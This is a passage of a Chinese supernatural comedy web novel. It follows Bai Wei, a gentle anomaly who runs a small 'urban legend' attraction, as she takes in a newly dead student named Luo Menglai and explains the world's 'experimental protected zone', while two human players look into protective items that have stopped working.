真要说起来,他二十分钟前就该走了——白桅做事很干脆,怪谈停止运营的第一时间就把所有费用都结给了他。除了卷子和幻觉火柴的尾款,还额外支付了一笔帮工费。
只是不知道为什么,她当时好像很急。付完钱没等他道谢便匆匆走了。
长脖男人本想离开,但转眼看见那群黑色小人都还在教室里,觉得把它们就这么单独留下不太好——毕竟现在怪谈正处在关闭打扫的阶段,不少客场怪物都到处走来走去的,万一有谁就进来了呢。
于是干脆又在这里留了一会儿,直到看见白桅回来,才准备正式告辞。
不想白桅却“诶”了一声,赶紧冲他招了招手。
“请先别急着走,还有事想问您呢。”她认真道,“是这样的,我刚刚出去,是找了这边的对接人,和它商量了一下长期合作的事……”
“?”长脖男人听着一愣,“长期合作?你想把这里包了?”
“嗯……算是吧。”白桅偏头想了想,轻轻点了点头。
会想把这儿包下来,主要还是因为爱意瓶里那多出的一点点粉色结晶——虽然不明白它们到底是怎么来的,也不明白为什么后面那么多场考试里,愣是再没攒到一点爱的结晶……
但无论如何,它们就是在这个地方提取出来的,这点毋庸置疑。
人不能因为一点点的成绩就沾沾自喜。如果不搞清现有的成就是因何而来,那么永远都不会取得真正的进步——
至少她背过的《人类好词好句好段通》里是这么说的。
所以,早在怪谈关闭之前,白桅就已经决定了。她要在这里长期驻扎,不断复刻和完善之前的设计,直到再次收获爱的结晶,并研究出它真正的由来为止!
况且这对她来说也不是什么难事。怪谈的经营时间本来就是怪谈主自己设定的,她只要注意让自己怪谈的运行时间和这边错开就行,对她的主业完全不耽误。
唯一不太确定就是知行中学这边的态度……好在经过先前一番沟通,这事也算是定下了。
“我本来还担心这边的对接人不同意呢,毕竟他之前说话总是很冷淡,不太喜欢我的样子……没想到他人其实挺好的!一直给我鞠躬,还说只要我不介意,爱租多久多久呢。”
提起这事,白桅脸上终于又有了些笑意:
“总之情况就是这样。所以到时候可能还要麻烦您和翁老师。对了,能告知一下你们怪谈的位置吗?如果你们下次不来的话,我自己去提货也可以。”
“啊……行!当然可以!”另一边,长脖男人终于回神,忙急急开口,“我是说,供货这事当然可以!如果您长期需要的话,那我们还可以给您折扣价!送货上门——”
他越说越激动,略一思索,干脆又从身上摸出一盒火柴,将纸盒展开,拿了支铅笔在上面刷刷地写:
“我给您留给联系方式吧,还有地址……如果您想来自提的话也行,我们怪谈有两个入口,一个在市中心,一个在郊外,您看您去哪个地址方便……”
“两个入口?”白桅却有些惊讶了,“还隔这么远……你们的怪谈很大吗?”
“那倒不是。我们有两块儿地。”长脖男人不好意思地笑笑,“我们原班团队,起初都是在市中心那块儿的。‘鸿强写字楼’,看到了吗?我们本来都在这里的。”
“大概两年前开始吧,怪谈行业越来越不好做。郊区一个游乐园怪谈就这么不行了,当时的怪谈主急着脱手,刚巧我们boss看中那地方很久了,就斥资拿了下来。”
“那你们的资产应该不少呀。”白桅飞快在心里估算了对应的谈价,更加诧异,“而且写字楼和游乐园都是底盘很大的经典款怪谈,只要正常运营,基本不会亏的。”
“那也得运营得起来啊。”长脖男人苦笑,“实不相瞒,我们很早就不做常规怪谈了。一直以来都是剑走偏锋的模式……”
“卖火柴?”白桅下意识接口。
“不不不,这个是救急的。”长脖男人立刻道,“我们吧,其实以前都靠开公司挣骨子的。”
白桅:“……”诶?
“就,想办法,整它十几二十台电脑,全放在写字楼里。玩家一来,也不让他们干别的,就按在电脑前面,做表格、抄数据、搞PPT!可赚啦!”
长脖男人说到这儿,似是
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想起什么,忙向后方看看。确认没人在偷听,方又压低声音道:“而且我跟您说,我们boss啊,可机智了——您知道人类有个软件,叫咸鱼吗?”
“?”这个白桅还真不了解。然而还没等她发问,长脖男人便又继续道:“我们boss就专门搞了一个咸鱼账号,专门接一些PPT代做啊、论文代写啊之类的单子,然后等玩家一来,就把这些拿给他们做,完事还能再收一波活人钱,活人钱攒够了再转化成骨子……这不就积少成多了嘛。”
白桅:“……”
严格来说并没有完全听懂,但这不妨碍她感叹一句厉害。
起码听上去是很厉害的样子。
不过感叹完更奇怪了。所以你们到底是怎么沦落到要出来卖货的境地的?以及……
“可这样收集到的骨子,转换率应该很低吧?”她思索片刻,忍不住道,“虽然人的负面情绪,理论上都可提取,但一般来说,情绪中恐惧的成分越多,转换效率越高。生成的骨子质量也越好。”
“这个我就不太清楚了,听我们boss的意思,应该是他对瓶子做了些调整。”长脖男人抿了抿唇,“您要实在好奇,等他伤好了,我帮您问问。”
“?”白桅又是一怔,微瞪大眼,“你们boss受伤了?”
“嗯,就俩月前,被不知什么东西打了。伤老重了。”长脖男人无奈,“干我们这行的,又没医保,只能我们自己想办法给他治了,治完还要养伤,一直养到现在……”
光是治伤就消耗掉了不少骨子。养伤阶段需求同样不小。再加上他们的boss还兼任怪谈中枢,同时负责所有怪谈的特效音效剧情设计……
没他怪谈根本跑不起来。
这就意味着这两个月他们的怪谈也完全停摆……
只出不进,这不就渐渐赤字了。
还好这次走运,遇到了白桅。不然他们都在考虑把写字楼里的电脑挂咸鱼卖了,再抽两个肢体健全的出去送外卖……
想到这儿,长脖男人又想给白桅磕头了。
白桅却似想到什么,微微蹙起了眉。
没有错过她的表情,长脖男人心里咯噔一下:“大佬,怎么了?”
“没什么,只是在想一些事……”白桅轻声说着,话头忽然一转,“你之前说,你们实际有两个怪谈。那这两个怪谈,可以拼到一起吗?”
“拼?哦,是说打通是吧。”长脖子毫不犹豫地点头,“这当然可以。”
“开启的时间呢?能自行调整吗?”白桅进一步确认。
“应该……也行。”长脖男人不知她问这些做什么,神情越发困惑,“大佬,你的意思是……”
“那你们,其实可以开怪谈啊。”
没等他说完,白桅便再次开口:
“一个入口在郊区,一个入口在市中心,那你们完全可以调整时间,专门在人类上班和下班的时候开怪谈呀。
“里面也不用做任何设计,就让他们自己跑就行。一个入口进,一个入口出……场地那么大,他们还赶时间,产生的负面情绪,应该不会比上班少的。”
白桅说着,微微点头:“而且你们还有改造过的瓶子。
“还可以收交通费。反正你们需要活人钱。”
她自己每次去咖啡馆打工都是公交去的。距离没那么远呢,都要一个半小时;真要从远郊往市中心赶,需要的时间肯定更长。
而如果从怪谈里走的话,从一个入口到另一个入口,再怎么大的场地,一个小时也肯定能走完了。从这个角度说,白桅觉得再多收两块钱的公交费也无可厚非。
至于为什么要选在上下班的时候……是因为她听苏英抱怨过,说以前在公司上班时,最厌烦的就是通勤。
她其实不太明白为什么人会不喜欢上班。像她就很喜欢苏英的咖啡馆。运行自己的怪谈时,虽然结果总是叫人失望,但每次上工时也总是满怀期待……
但既然苏英这么说,肯定有她的道理。
白桅自己用不着这个知识点,但她不介意把它分享给有需要的人。
“……”
长脖男人却像是听傻了,不自觉地张大嘴,好一会儿才终于再次发出声音——
“这个!这个好像真的可行!”
他忍不住伸长了脖子,差点没撞上头顶的电风扇:
“诶嘛我的天……谢谢大佬,真的谢谢!我回去就和同事商量一下……”
这不比出去送外卖靠谱!
能够帮上人,白桅自己也挺开心。微微点了点头,目送着长脖子连连颔首着倒退离开,忍不住又笑了下,随手撸了把不知何时爬到自己肩上的黑色小人。
后面的事就简单了——
把乖乖等在旁边的黑色小人也全都装进自己的环保袋里,再去校门口做个登记,就能直接回家了。
她离开时,负责登记的又是那几个穿着校服的男学生,整个过程中一直低着头,眼也没敢抬。白桅顺口问了下下次运营的时间,一群人嗫嚅着,好半天才给了答复。
白桅礼貌地道过谢,转身走了。因为不赶时间,回去时她也没瞬移,直接踩着人类的道路回去。
这个时间的城市尚未苏醒,路上却已经有很多车了。她边走边饶有兴致地数着看到的路灯和车灯,有时不想走了,就直接坐到别人的车顶上,让别人捎她一会儿。就这么走走停停的,总算在天亮前,摸回了自家所在的街道。
她的怪谈规模很小,连接现实的入口也很小。就是一扇嵌在墙上的金属门,门上都生锈了,边上爬着爬山虎。
她沿着人行道慢慢往前走,快要走到门口时,却忽然皱了皱眉。
有淡淡的血腥气在空中飘荡,掺着些微的腐臭。
她抿了抿唇,无声加快了脚步。
直至来到家门口。身后的天空终于透出蒙蒙的亮。时明时灭的路灯下,她看到自家门口正坐着一个人。
……或者说,是一道虚弱的影子。
黑背包、长头发,从白桅的视角,正好能看到那书包上的熟悉标志。
那人正蜷腿坐在她家门口,直到听到动静,才缓缓抬起了头。
露出一张支离破碎的、满覆着干涸血迹的脸。
“抱歉。”来人低声道,声音嘶哑,像是长久都没有说话,“我觉得我病了,我很饿,但我不知道该去找谁……”
“在车上,只有你跟我说过话……
“除了你,我真的不知道该去找谁了。”
13.第十三章
白桅认得门口这个女生。就是她之前经常在公交车上遇到的那个。
只是这会儿的女生,看上去和之前不太一样。
至少状态很不一样。
“没关系的。”白桅眨眨眼,没有半点诧异,只伸手将她往上扶了扶,“先进来吧。你等很久了吗?”
她说着,抬脚往门上轻轻一踢,紧闭的铁门荡开。门后泄出丝丝的凉意。
女生很虚弱,似乎连走都没法走了。白桅只能尽量将人扶稳,半拖半抱地挪进门后。
小心翼翼地避开屋内循声迎上来的留守小人,又指挥着它们拖来几件衣服垫在地上,这才轻手轻脚地将女生放了下去。
松了口气。忽又想起人类怕黑的共性——虽然眼前的女生严格意义来说应该不算是人,但白桅总觉着,她身上应是还留着些人类习性的。
考虑到这点,她又去开了灯。昏暗光芒中,但见无数黑色小人悄悄凑过来,躲在她的脚后,探头探脑地打量起这位新来的客人。
就连被装在袋里的那些都忍不住探出了头,扒着袋口小心张望。只可惜没望多久,便被白桅一股脑儿倒在了桌上。
“别看了,自己玩去。”她低声道,又看一眼缩在原地的女生,稍一沉吟,打开一个惊惧瓶,从里面倒出些骨子,用手掌兜着,递到女生跟前。
“你刚才是说饿了吧?”她道,“要不来点……”
话未说完,就见那女生鼻翼翕动两下,猛地埋下脸去——她看上去真的是饿坏了,就着白桅的手就这么狼吞虎咽起来。一捧骨子,很快就吃了个干净。
白桅也不生气。就这么等她吃完了,见还是饿得厉害,便又去倒了一捧递过来。这样投喂了三次,发觉女生进食的速度渐渐慢了下来,眼神也逐渐清明,方拍手起身,打算给她正式找个吃饭的容器。
话虽如此,一时半会儿还真找不出来。她平时不会收集这些,家里唯一一个吃饭的碗还是给小黑仔们用的,肯定不能拿来招待客人。除此之外,唯一算得上容器的,就只有苏英送的一个杯子……
那是苏英自己订制的咖啡馆礼品,因为数量挺多,就送了白桅一个。白桅自己舍不得用,包装都没拆,一直好好地放在柜子里,直到这会儿才轻手轻脚地捧出来。
拆开包装研究了一会儿,这才发现那杯子还挺小,似乎装不了多少东西,倒是那个装杯子的包装盒,又大又厚实,颜色还特别多。于是略一斟酌,果断把杯子放回柜子,把纸盒捧走了,哐哐倒满骨子,整个儿给女生递了过去。
女生依旧是那副不成人形的模样,状态却似已好了很多。接过纸盒的时候还会说“谢谢”,拿到手也没再急着吃,而是小心捻起一颗,打量了片刻,又缓缓抬眼,后知后觉地观察起此刻所在的地方。
陌生的地方,奇怪的陈设,像是一个堆着杂物的毛坯房。
我……为什么会在这儿?
不,应该说,我为什么会来这儿?
我……我……
她用力闭了下眼,只觉一片混沌的脑海中,终于有什么东西悄然浮现,逐渐清晰。
她想起来了。她姓洛。她叫洛梦来。她在A大读书。她报了一个考研班。
为了去上线下课,她每周都会乘公交在机构和学校间往返。然后、然后……
然后她的记忆就又乱了。
像是睡醒的人回顾梦境,根本想不起完整的情节,只能捕捉到支离破碎的画面与残留在感官间的情绪。她记得曾有一辆车打着转向灯朝自己飞撞而来,雨夜中逐渐逼近的车前灯是那么晃眼;她记得耳边炸开的尖叫与刺耳刹车声,还有病床轮子急急碾过医院走廊的声响,与家人绝望的哭声。
接着……一切感受都模糊了。她只依稀知道,等自己再睁开眼时,已又坐在了那辆常坐的公交上。
车子摇摇晃晃,像是长了轮子的铁皮棺材。人来人往,却从没人在意过她。她成了一株长在座位上的植物,只知道自己要出发,却连要去哪里都不知道,慢慢地,连下车这个概念也从脑海中消失了。
直到有一天,有人拍了拍她的肩,好奇地问她,包上那个好看标志是什么意思——仿佛被人从长梦中唤醒,她这才迟缓地、想起了一点点关于过去的记忆。
再之后……再之后……
又断片了。她不由自主地皱眉,视线落在自己捏着的那一颗黑色小球上。
圆圆的、长着小翅膀。像是没有头的飞虫。但口感意外得不差。
而且不知为什么,这味道,总让她觉得有些熟悉……
意识到这点,她眉头皱得更紧了,微微张嘴,发出的声音已变得清亮不少:“这,什么东西啊?”
“骨子啊,惊惧骨子。人类负面情绪的实体化。”一旁白桅解释道,像是意识到什么,又贴心补充道,“你是觉得这东西不太好看吗?”
“如果这样的话,我也可以帮你泡在奶茶里的,就像之前那样。”
洛梦来:“……”
对,她想起来了!
那杯奶茶——
她当时,就是喝了那杯奶茶!
然后整个人,忽然像是精神了不少,在车子开过拐角时,还略有兴致地转头朝外望……
接着就是在车窗倒影里,看到了自己血刺呼啦的脸。
也想起了自己已死的事。
为了回家,她终于下了车,下车后却找不到回家的路。记忆在饥饿和虚弱中又开始模糊,她唯一能记起来的,就是公交车上,那搭话的女生曾和自己说过的只言片语……
洛梦来愣了半晌,终于找回声音:
“所以,你当时车上给我喝的奶茶里……就放了这个?”
“嗯。”白桅点头,“因为那个时候感觉你好像快不行了。”
“我当时正好想研究下,该怎么弄才能把这种骨子做得好吃点。就试着用它做了奶茶。做的时候又想到,你状态那么差,吃一点应该会有用,就顺带给你也做了一杯。”
听着她坦然的发言,洛梦来一时有点失声。庞杂的记忆与超模的信息量混在一起,吵得她脑瓜嗡嗡作响,好不容易总算捋清了一些,第一反应却是——
“为什么要泡奶茶?这样不挺好吃的吗?”
“……”
回应她的却是白桅一个古怪又略显沉重的抬眸。
那表情仿佛在说,不,孩子不懂。
坦白讲,让人有点点不爽。但考虑到刚才自己恍惚间好像吃了人家很多东西,洛梦来决定自己默默地不爽一下就可以了。
低头看看自己戳出皮肤的腿骨,她抿了抿唇,沉默良久,方又问出第二个问题:
“那……如果我没喝那杯奶茶,会怎样?”
“会消失。”白桅不假思索。顿了顿,又道,“或者会在即将消失的时候,求生欲爆发,化为更加强大、更加混沌、没有任何记忆和理智的东西。”
洛梦来:“……黑化咯?”
“可能吧。”白桅其实不知道她说的那词是什么意思,不过她觉得现在问可能不太礼貌,便就这么顺着说了下去:
“如果变成那样的话,你也会更饿。那种饥饿感,会比你先前感受到的还要强烈很多很多。
“要是你能控制住食欲的话,那可能会在流浪时被附近的怪谈收编。
“但要是你控制不住的话,那么很大概率,你会去吃人。”
“……”
明明知道自己死了,在听到这话时,洛梦来还是本能地一阵脊背发凉。
“然后呢?”她问。
白桅慢吞吞地站起了身,开始整理带回来的惊惧瓶。
“然后,你会引起附近怪谈负责人的主意。它们会想方设法,出面处理掉你。”
白桅转头看她:“所以从结果来看,你还是会消失。”
“……”
真吓人。洛梦来故作镇定地应了一句,匆忙将一颗骨子送进了嘴里。压了会
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儿惊,才又道:“那你说的‘怪探’……又是什么?”
又是收编、又是出面处理的,听上去好像是什么很正气凛然的组织。
白桅闻言却奇怪地看她一眼。
“就是‘都市怪谈’的那个怪谈呀。”她道,“都市传说、灵异现象、恐怖事件……你以前没听过鬼故事吗?”
“……”洛梦来咀嚼的动作慢慢停了。
居然是这个怪谈吗?
那你说得这么正气凛然??
“所以,你们也都是……嗯?”
她抬起染血的手指指指白桅,又指指自己,只觉好不容易清醒点的大脑又开始打结,“那、那你们还管别的东西……吃不吃人?”
“没办法啊,因地制宜嘛。”白桅理完东西,脱下外套随意往地上一摊,也这么大剌剌地坐了上去,“你们的世界是难得的试验保护区,维持平衡可是第一准则。”
“?”洛梦来更糊涂了,“什么区?”
“试验保护区。”白桅认真地重复一遍,单手托腮,平静地看了过来,“这么说吧。你知道这个宇宙间,其实有很多维度吗?”
“……”这个我知道,但我不知道为什么对话会突然跳到这么高大上的层次。
洛梦来迟疑一下,点了点头。
白桅:“那你知道有个游戏,叫丧尸和蔬菜吗?”
洛梦来:……这我真不知道?
“咦?你没玩过吗?应该很火的呀。”白桅有些惊讶了,“就是丧尸要去吃人的脑子,为了抵御它们,玩家就需要在通往脑子的路上种很多很多蔬菜……”
洛梦来:……
洛梦来:“你是不是想说,植物大战僵尸?”
哦,原来是叫这个名啊。
白桅恍然大悟,随即轻笑起来:“你知道啊,那就好办了。”
她抬手,边比划边跟洛梦来描述:“然后呢,在那游戏里,是会有一种光头菜的,对吧?椭圆型的、五官像是被平底锅拍过一样,平平的……
“你们总是把它们种在田的最前面,用来挡丧尸。如果它不被吃掉,后面的蔬菜就都会好好的,但如果它被吃掉了,后面的蔬菜就会一颗一颗被吃得干干净净……你应该知道这种东西吧?”
懂了,坚果墙。
洛梦来心道,她说的肯定是坚果墙。
跟着就听白桅啪地拍了下手掌:“而你们的世界呢,从某种角度来说,就相当于那种光头菜。
“这么说,你能理解吗?”
*
同一时间,遥远的城市另一端。
某间亮灯的卧室内。
孟洪恩打着呵欠坐在电脑前,还在吃力地整理论坛内的资料。
资料都是关于刚刚结束的“知行中学”怪谈的——准确来说,是关于知行中学某个支线关卡的。
如死论坛并非是有玩家自主创建,论坛内也常常会有不明生物出没搞事。因此,为了尽量保证资料的准确性,他们几个版主总会在搜集完资料的第一时间就进行整理和保存。
今晚恰好轮到他值班,也是撞上好日子了——谁能想到,一个名不见经传的支线关卡,竟能搞出这么大的阵仗?
再次打了个呵欠,他一边哀叹着自己命苦,一边打开社交软件,将整理好的资料打包上传了上去。
他是真正意义上的老玩家,资历深,再加上版主的身份,在玩家间的人脉自然算广。一眼望去,列表里全是各种各样的玩家群,不少还在滴滴滴地响。
唯有他上传资料的那个群,静得宛如一潭死水。人数也极少,一共就七人,此刻四人在线。
【行了,都别潜水了。我的活已经干完了,接下去就指望你们了。】
孟洪恩眼泪都困出来了,却还是强撑着继续打字:
【抛开卷子和保命小纸片,我觉得这事最值得关注的,还是防护道具失效的问题。】
【@杜思桅杜哥,这事儿,你怎么看?】
14.第十四章
被艾特的人,迟迟没有冒泡回复。
但孟洪恩知道,他肯定是看到自己的艾特了。
因为自己那条消息发出去没多久,上传的资料就已显示被下载。而在自己一觉醒来之后,手机里赫然多出了一条留言。
不是在群里。是对他的私聊。就一句话,邀他两周后和自己一起前往怪谈“披麻村”。
没头没尾,看得孟洪恩一脑袋雾水。无语片刻,一个电话打了过去。
“杜思桅,你什么意思?”他奇怪道,“我问你志学601的事儿呢,你在跟我说啥?那些资料你看了没啊?”
“看了啊。”手机那头,一道低沉的男音响起,似乎还伴随着敲键盘的动静。键盘敲得很快,他语速却很慢:“就是因为看了,所以才邀你一起去披麻村的。”
孟洪恩:“?”不是这俩的关联点是??
似乎听出了他的困惑,对面的男人默了下,敲键盘的声音随即停止。
“我问你,防护道具失效,这种情况是第几次出现了?”他问孟洪恩。
“第二次啊。”孟洪恩莫名有种自己被当成了傻子的错觉,“第一次不就那路人P发的帖子吗。”
“错。严格来说是第四次。因为当时路人P的帖子里还有两人也曾说自己遇到过相同情况,而且就是在同一个怪谈里。”手机那头的杜思桅应声,“就因为这点,所以当时很多人都认为防护失效只是那个怪谈的独有设置,并不值得警惕。”
“……我知道,我刚刚只是没算那么细。”孟洪恩咕哝一句,紧跟着又听手机那头的男人道,“那你还记得,路人P在复述自己看到的提示时,曾吐槽过什么吗?”
“……”这事孟洪恩还真不记得了。
他匆忙起身,想去开电脑查看,还没来得及摁下开机键,便听杜思桅继续道:
“他吐槽说,那个怪谈都吓死人了,居然还在开场的规则里写了‘有爱’两个字,真不像话。”
事实上,他这算是委婉版本了。因为路人P的原话是——有爱?有病吧!大病!!
孟洪恩闻言,开机的动作一顿,随即拧眉:“这么说起来……这次的601关卡里,好像也有用到这样的词。”
“没错。”杜思桅道,“好几名亲历者都有相关描述,说黑板上写着‘这是一个有爱的教室’。”
“所以这俩怪谈还真可能有联系啊。”孟洪恩眉头拧得更深了,“但这关披麻村什么事呢?”
“暂时没证据证明有。”杜思桅不紧不慢,“但你还记不记得,路人P在描述看到的怪谈时,曾说过很多古怪的细节?”
孟洪恩一怔,下意识点头:“好像是有?什么洗衣机里养水母啥的……”
“洗衣机里有水母,牙签盒里有粉笔,电视的位置上放着山水画。”杜思桅平静接话,“你不觉得这些背后,可能存在着某种深意吗?”
我只觉得布置这些的人脑壳好像有点问题。
孟洪恩很想这么说。但对方都这么问了,再这么说,未免显得自己太白痴。
再一琢磨对方刚才的描述,他眼睛突然一亮:“等等——粉笔?”
“没错。”手机那头传来杜思桅肯定的声音,“第一个有异象的怪谈里出现了粉笔,相似的异象紧跟着就出现在了学校里,这真的只是巧合吗?”
“我不这么认为。”
“……所以你是觉得,这些奇怪的布置,其实都是线索,提示了这种异象接下去会出现的场所……”孟洪恩渐渐跟上了他的思路,“你觉得山水画也是一个暗示元素?代表着和山有关的怪谈?”
“嗯。”杜思桅肯定地应了一声,“实际上,我把所有可能有关的怪谈都列出来了。至少论坛里有资料的,我全列出来了。”
“这些怪谈里,开放时间最近的,就是披麻村。”
“合着是这么个思路啊……”孟洪恩恍然大悟,旋即点头,“那我是没啥问题啦。我上次越级挑战赢了,有半年的安全期,倒是有资本折腾。但……杜哥,我还是有点疑问啊。”
他略显不安地换了个坐姿,尽可能委婉:“就你说,有没有一种可能……那些看着奇奇怪怪的布置,真就只是那里的怪物随手摆的,同样的情况出现在601,也纯粹只是巧合?”
“……”语毕,手机那头传来长久的沉默。
孟洪恩还以为对面是生气了,顿时有些尴尬。正要找补,却听手机那头,传来一声长叹。
“或许吧。我其实也不确定。”
单调的酒店单人房间内,男人无意识地摩挲着无名指上的简约指环,对着蓝牙耳机轻声道:
“这次找你,也是想先私下验证一下。等确认了再对外公布。
“我知道这事是有些折腾。但我的经验告诉我,面对那种东西,保持警惕、多思多想,肯定是没错的。
“永远不要坐以待毙,不要怀有侥幸心理。”
不然……它们迟早会带走你最重要的东西。
让你追悔莫及。
*
同一时间。
白桅的怪谈内。
白桅忙了一晚上,有点累,因此早在三个小时前就回窝睡觉去了。
只剩洛梦来一人,安静地坐在电脑前,正一边用毛巾有一搭没一搭地擦着脸上的血迹,一边看视频。
视频是白桅找给她看的。
三个小时前,她大致给洛梦来解释了关于怪谈和试验保护区的事,见她似乎对诡异学院挺好奇,就特意又给她找了学院的入学手册和宣传片。正好洛梦来也没什么事做,索性就坐在那儿,打发时间般看起来。
宣传片时间不长,但有整整一个系列。再加上她中途还花时间去研究了一下入学手册上的种种名词科普,以至于现在才看到最后一条。
屏幕上,穿着西装的骷髅正对着镜头一本正经地原地匀速大步走,一边走,一边充满精英气质地抱起胳膊。
“还在因为道士与驱魔者的存在而困扰吗?
“还在因为朝不保夕的生活而担心受怕吗?
“还在因为找不到上升路线与对口专业而痛苦吗??”
西装骷髅倏然停步,对着镜头自信伸手。
“诡异学院,精英诡异的摇篮!加入我们,给你一个更加多彩的未来!”
语毕,一行白骨组成的3D标语从天而降,在屏幕中间无比显眼地伸缩旋转并开始发光——再之后,画面就不动了。
短暂地停滞几秒后,屏幕自动黑了下去。洛梦来本来看得还挺乐,不期然对上漆黑屏幕中自己面目全非的倒影,笑容又瞬间僵在脸上。
顿了会儿,方不太自然地移开目光,又默默拿起手中毛巾,开始慌乱地在脸上擦拭。
擦着擦着,感觉有什么温热的东西从眼眶中涌入。她本能地以为是眼泪,下意识伸手一抹,见手背上一层血迹,才想起来现在的自己已变了个物种,眼泪这东西似乎也被淘汰掉了。
像是察觉到了她的情绪变化,客厅内游戏的黑色小人们纷纷停下了动作,怯懦又好奇看了过来。有些胆子大的,还小心翼翼地凑了上来,轻轻拍她的脚。
洛梦来怔了一下,不太自然地笑了下。她不知道这些是什么东西,也不知该如何称呼,只得含糊地道谢,又再三强调自己没事。直到那些热心的小人散去,方轻轻呼出口气,再次梳理起混乱的思路和情绪。
不管怎样,现在的情况总归大致清楚了。
首先,她已经死了,并且在死后变成了某种诡异的存在。这点毋庸置疑。
按白桅的说法,这种情况的发生,恰恰意味着这个维度的生死平衡已经被打破——正常与异常之间的界限正在模糊,诡异开始生长并侵蚀现实世界,如果放着不管,自己生活的这个世界迟早会因为被过度侵蚀而土崩瓦解,乃至走向毁灭。
这过程理论上是不可逆的。就像人会衰老、机械会磨损一样,是无法反抗的自然规律。
但很巧,这世上还有一条规律,那就是某些维度间天然会存在联系。一旦其中一方消亡,便很有可能会影响到与之相连的另一维度。
又很巧,她生活的这个维度,仿佛一个先天海王圣体,与其它许多维度间都存在着紧密联系。
这也是为何白桅所在的组织将它设为了“保护区”——某种意义上,它就是多米诺骨牌的第一张,一旦倒下,后面就是稀里哗啦的一片狼藉。
更深层次的原因,白桅没有细说。不过听她的意思,约莫就是如果同时出现失衡的维度太多,对于她所在的诡异学院,以及合作的某些组织和神明来说,都会造成一定影响……
所以,为了将这种影响降到最低,祂们决定投入一部分资源,尽可能延缓这个维度的崩溃。
至于延缓的方式,就是最为典型的两手抓——
一方面,尽力掌控这世界已经自然形成的诡异区域,也就是所谓的“怪谈”,并将收编的怪物安置其中,进行规范化管理。
另一方面,随机救下符合条件的死者,并利用其跨越生死的特质,安排他们进入活人无法涉足的怪谈,好为在编的怪物们提供惊惧骨子作为食物。以免它们因为过度的饥饿而失去理智,乃至失控杀人。
又因为这一整套方案看着很像模像样,但实际还是第一次被提出和落实,因此这个世界的“怪谈游戏”,本质还承担着一定的试验作用……<
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“试验保护区”的全称,便由此而来。
至于自己以后能选的出路,白桅也和她说清楚了。在外流浪绝对是不行的,但她可以写推荐信,直接将自己推到诡异学院去读书;如果不想去的话,也可以找一个看得过眼的怪谈,登记入驻,成为一名光荣的怪谈从业人员……
关于这点,洛梦来倒是不纠结。
她都想好了。自己之前迷迷糊糊间吃了白桅那么多东西,总要先设法还上的——
要纯是食物也还好,问题是自己吃的是珍稀资源,还是能当货币用的。还吃那么多,这和直接抱着人家银行卡啃有什么区别?
更别提白桅这边的经营状况……
洛梦来抬眼,视线扫过毫无装饰的毛坯墙壁以及地上胡乱放着的衣服和公用大碗,又看看手边用来装骨子的包装纸盒,无声叹了口气。
总感觉经营状况好像很烂的样子。
一个人,也没个帮手,还要养一大群小孩,日子怕不是本来就不好过。自己还吃那么多,让本就不富裕的家庭雪上加霜……
好在她生前还挺喜欢看恐怖小说和恐怖片的。各种密室和鬼屋也经常去。也不知能不能在创收上派上些用场。
洛梦来默默想着,放下手中的毛巾。见上面血糊糊的一片,又忍不住皱眉,起身打算找点水洗掉。
还好,白桅这儿还是有独立盥洗室的,也有自来水。洛梦来熟练将染血的毛巾用冷水泡好,忽似想起什么,又探头往客厅看了看。纠结片刻,还是按捺不住地走进客厅,轻手轻脚地将散落一地的衣服依次捡起。
还没捡完,忽听卧室门响。白桅拿着手机脚步轻快地走出来,看到正在捡衣服的洛梦来,还愣了一下。
“你要铺床吗?”她问道,“如果想睡觉的话,可以去我的窝里哦。我不介意的。”
“呃,不是。”洛梦来默了一下,如实道,“我只是想收拾收拾……对了,我看卫生间那里有水。应该能用来洗衣服吧?”
“可以吧?”白桅眨了眨眼,不太确定地点了点头,旋即又甜甜笑起来,“所以您是在帮我吗?您真好。”
“没有没有,顺手的事。”洛梦来赶紧道,将捡起的衣服抱在怀里,小心不让它们沾上血迹,想了想,又道,“而且你不用那么客气的,没必要您啊您啊,叫我小洛或者梦来就行。”
“哦——”白桅似懂非懂地点点头,忽又道,“那梦来,你想好以后要去哪里了吗?”
“……”洛梦来的动作不着痕迹地顿了下,不太自信地半转过来。
“想是想好了,就怕你不同意。”她将衣服往上托了托,“你要不介意的话,我就跟着你干,你看可以吗?”
“……”话音落下,却没听到白桅的答复。
洛梦来心里一咯噔,小心翼翼看过去,却见对方正微微抿唇,像是在纠结什么的模样。
又过了会儿,才听她道:“我倒是很欢迎你的。
“但我的追求和其他怪谈主不太一样,以后说不定哪天就供不上你的饭了。我担心到时候会给你造成麻烦。”
洛梦来:“……”
果然,她就说这边的经营状况不太行吧!
这都已经在担心破产的事儿了!
望着实实在在陷入烦恼的白桅,她心中蓦地一动,陡然生出一种奉命于危难之间,任重而道远的强大责任感,忙道:
“没事,你就当我是学徒,先跟着你学习一阵。
“真到了让你为难的时候,我会自己走的!”
毕竟还没接触过这方面的工作,她暂时也不敢说什么大话。但二十几年的积累摆在这儿,她琢磨着,就算做不到力挽狂澜,至少也能帮着多赚点吧?
也不知是不是被她说服,白桅又思索片刻,微拧的眉头终于舒展开来。
“也行。我这边的教材和学习资料都很多,你空闲时先看着,以后去其它怪谈也好上手。”
她说着,又看了眼手机,微微颔首。
“既然这样,那你准备下。等等跟我一起出门吧。”
“?”正准备把脏衣服泡起来的洛梦来诧异回头,“出门?去哪里?”
“去山里。”白桅正色,冲她晃了晃自己的手机,“你知道什么是参展吗?就是去别人的怪谈里帮忙……”
“我刚收到一个怪谈的拼盘邀请,邀我们去一趟。怪谈开放时间在两周后,但因为他们的要求还挺特别的,所以要先过去开个会,地址就在山里。”
洛梦来:……
好的。她想。看来情况可能比她想得还要糟一点。
看吧,一个独立怪谈经营者,这都得去山里给人打零工了!